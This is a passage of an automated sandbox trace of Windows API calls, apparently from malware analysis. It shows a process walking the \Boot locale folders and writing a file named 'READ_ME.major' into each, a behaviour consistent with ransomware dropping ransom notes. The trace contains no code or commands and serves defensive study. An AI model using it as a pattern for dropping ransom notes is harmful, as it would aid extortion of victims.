out: hHeap=0x570000) returned 1 [0121.801] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="da-DK", cAlternateFileName="")) returned 1 [0121.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.801] GetLastError () returned 0x0 [0121.801] SetLastError (dwErrCode=0x0) [0121.801] GetLastError () returned 0x0 [0121.801] SetLastError (dwErrCode=0x0) [0121.801] GetLastError () returned 0x0 [0121.801] SetLastError (dwErrCode=0x0) [0121.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0121.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0121.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0121.801] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1f0 [0121.802] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0121.802] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.802] GetLastError () returned 0x0 [0121.802] SetLastError (dwErrCode=0x0) [0121.802] GetLastError () returned 0x0 [0121.802] SetLastError (dwErrCode=0x0) [0121.802] GetLastError () returned 0x0 [0121.802] SetLastError (dwErrCode=0x0) [0121.802] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.802] CreateFileW (lpFileName="\\Boot\\da-DK\\READ_ME.major" (normalized: "c:\\boot\\da-dk\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.803] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.804] CloseHandle (hObject=0x458) returned 1 [0121.804] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.804] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0121.804] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0121.804] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0121.804] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="de-DE", cAlternateFileName="")) returned 1 [0121.804] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.804] GetLastError () returned 0x0 [0121.804] SetLastError (dwErrCode=0x0) [0121.804] GetLastError () returned 0x0 [0121.804] SetLastError (dwErrCode=0x0) [0121.804] GetLastError () returned 0x0 [0121.804] SetLastError (dwErrCode=0x0) [0121.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0121.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0121.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0121.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0121.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0121.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.805] GetLastError () returned 0x0 [0121.805] SetLastError (dwErrCode=0x0) [0121.805] GetLastError () returned 0x0 [0121.805] SetLastError (dwErrCode=0x0) [0121.805] GetLastError () returned 0x0 [0121.805] SetLastError (dwErrCode=0x0) [0121.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.805] CreateFileW (lpFileName="\\Boot\\de-DE\\READ_ME.major" (normalized: "c:\\boot\\de-de\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.805] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.805] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.806] CloseHandle (hObject=0x458) returned 1 [0121.806] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.807] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.807] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0121.807] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0121.807] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="el-GR", cAlternateFileName="")) returned 1 [0121.807] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.807] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.807] GetLastError () returned 0x0 [0121.807] SetLastError (dwErrCode=0x0) [0121.807] GetLastError () returned 0x0 [0121.807] SetLastError (dwErrCode=0x0) [0121.807] GetLastError () returned 0x0 [0121.807] SetLastError (dwErrCode=0x0) [0121.807] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0121.807] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0121.807] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0121.807] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0121.807] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0121.807] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.807] GetLastError () returned 0x0 [0121.807] SetLastError (dwErrCode=0x0) [0121.807] GetLastError () returned 0x0 [0121.807] SetLastError (dwErrCode=0x0) [0121.807] GetLastError () returned 0x0 [0121.807] SetLastError (dwErrCode=0x0) [0121.807] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.807] CreateFileW (lpFileName="\\Boot\\el-GR\\READ_ME.major" (normalized: "c:\\boot\\el-gr\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.808] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.808] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.809] CloseHandle (hObject=0x458) returned 1 [0121.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0121.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0121.810] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="en-GB", cAlternateFileName="")) returned 1 [0121.810] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.810] GetLastError () returned 0x0 [0121.810] SetLastError (dwErrCode=0x0) [0121.810] GetLastError () returned 0x0 [0121.810] SetLastError (dwErrCode=0x0) [0121.810] GetLastError () returned 0x0 [0121.810] SetLastError (dwErrCode=0x0) [0121.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0121.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0121.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0121.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0121.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1f0 [0121.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.810] GetLastError () returned 0x0 [0121.810] SetLastError (dwErrCode=0x0) [0121.810] GetLastError () returned 0x0 [0121.810] SetLastError (dwErrCode=0x0) [0121.810] GetLastError () returned 0x0 [0121.810] SetLastError (dwErrCode=0x0) [0121.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.810] CreateFileW (lpFileName="\\Boot\\en-GB\\READ_ME.major" (normalized: "c:\\boot\\en-gb\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.812] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.812] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.813] CloseHandle (hObject=0x458) returned 1 [0121.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0121.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0121.813] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="en-US", cAlternateFileName="")) returned 1 [0121.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.813] GetLastError () returned 0x0 [0121.813] SetLastError (dwErrCode=0x0) [0121.813] GetLastError () returned 0x0 [0121.814] SetLastError (dwErrCode=0x0) [0121.814] GetLastError () returned 0x0 [0121.814] SetLastError (dwErrCode=0x0) [0121.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0121.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0121.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0121.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0121.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0121.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.814] GetLastError () returned 0x0 [0121.814] SetLastError (dwErrCode=0x0) [0121.814] GetLastError () returned 0x0 [0121.814] SetLastError (dwErrCode=0x0) [0121.814] GetLastError () returned 0x0 [0121.814] SetLastError (dwErrCode=0x0) [0121.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.814] CreateFileW (lpFileName="\\Boot\\en-US\\READ_ME.major" (normalized: "c:\\boot\\en-us\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.814] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.814] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.815] CloseHandle (hObject=0x458) returned 1 [0121.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0121.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0121.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0121.816] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="es-ES", cAlternateFileName="")) returned 1 [0121.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.816] GetLastError () returned 0x0 [0121.816] SetLastError (dwErrCode=0x0) [0121.816] GetLastError () returned 0x0 [0121.816] SetLastError (dwErrCode=0x0) [0121.816] GetLastError () returned 0x0 [0121.816] SetLastError (dwErrCode=0x0) [0121.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0121.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0121.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0121.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0121.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0121.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.816] GetLastError () returned 0x0 [0121.816] SetLastError (dwErrCode=0x0) [0121.816] GetLastError () returned 0x0 [0121.817] SetLastError (dwErrCode=0x0) [0121.817] GetLastError () returned 0x0 [0121.817] SetLastError (dwErrCode=0x0) [0121.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.817] CreateFileW (lpFileName="\\Boot\\es-ES\\READ_ME.major" (normalized: "c:\\boot\\es-es\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.817] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.818] CloseHandle (hObject=0x458) returned 1 [0121.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0121.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0121.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="es-MX", cAlternateFileName="")) returned 1 [0121.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.819] GetLastError () returned 0x0 [0121.819] SetLastError (dwErrCode=0x0) [0121.819] GetLastError () returned 0x0 [0121.819] SetLastError (dwErrCode=0x0) [0121.819] GetLastError () returned 0x0 [0121.819] SetLastError (dwErrCode=0x0) [0121.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0121.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0121.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0121.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0121.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0121.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.819] GetLastError () returned 0x0 [0121.819] SetLastError (dwErrCode=0x0) [0121.819] GetLastError () returned 0x0 [0121.820] SetLastError (dwErrCode=0x0) [0121.820] GetLastError () returned 0x0 [0121.820] SetLastError (dwErrCode=0x0) [0121.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.820] CreateFileW (lpFileName="\\Boot\\es-MX\\READ_ME.major" (normalized: "c:\\boot\\es-mx\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.820] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.821] CloseHandle (hObject=0x458) returned 1 [0121.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0121.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0121.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="et-EE", cAlternateFileName="")) returned 1 [0121.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.822] GetLastError () returned 0x0 [0121.822] SetLastError (dwErrCode=0x0) [0121.822] GetLastError () returned 0x0 [0121.822] SetLastError (dwErrCode=0x0) [0121.822] GetLastError () returned 0x0 [0121.822] SetLastError (dwErrCode=0x0) [0121.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0121.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0121.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0121.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0121.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0121.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.822] GetLastError () returned 0x0 [0121.822] SetLastError (dwErrCode=0x0) [0121.822] GetLastError () returned 0x0 [0121.822] SetLastError (dwErrCode=0x0) [0121.823] GetLastError () returned 0x0 [0121.823] SetLastError (dwErrCode=0x0) [0121.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.823] CreateFileW (lpFileName="\\Boot\\et-EE\\READ_ME.major" (normalized: "c:\\boot\\et-ee\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.823] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.824] CloseHandle (hObject=0x458) returned 1 [0121.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0121.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0121.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0121.825] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0121.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.825] GetLastError () returned 0x0 [0121.825] SetLastError (dwErrCode=0x0) [0121.825] GetLastError () returned 0x0 [0121.825] SetLastError (dwErrCode=0x0) [0121.825] GetLastError () returned 0x0 [0121.825] SetLastError (dwErrCode=0x0) [0121.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0121.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0121.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0121.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0121.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0121.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.825] GetLastError () returned 0x0 [0121.825] SetLastError (dwErrCode=0x0) [0121.825] GetLastError () returned 0x0 [0121.825] SetLastError (dwErrCode=0x0) [0121.825] GetLastError () returned 0x0 [0121.825] SetLastError (dwErrCode=0x0) [0121.826] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.826] CreateFileW (lpFileName="\\Boot\\fi-FI\\READ_ME.major" (normalized: "c:\\boot\\fi-fi\\read_me.major"), 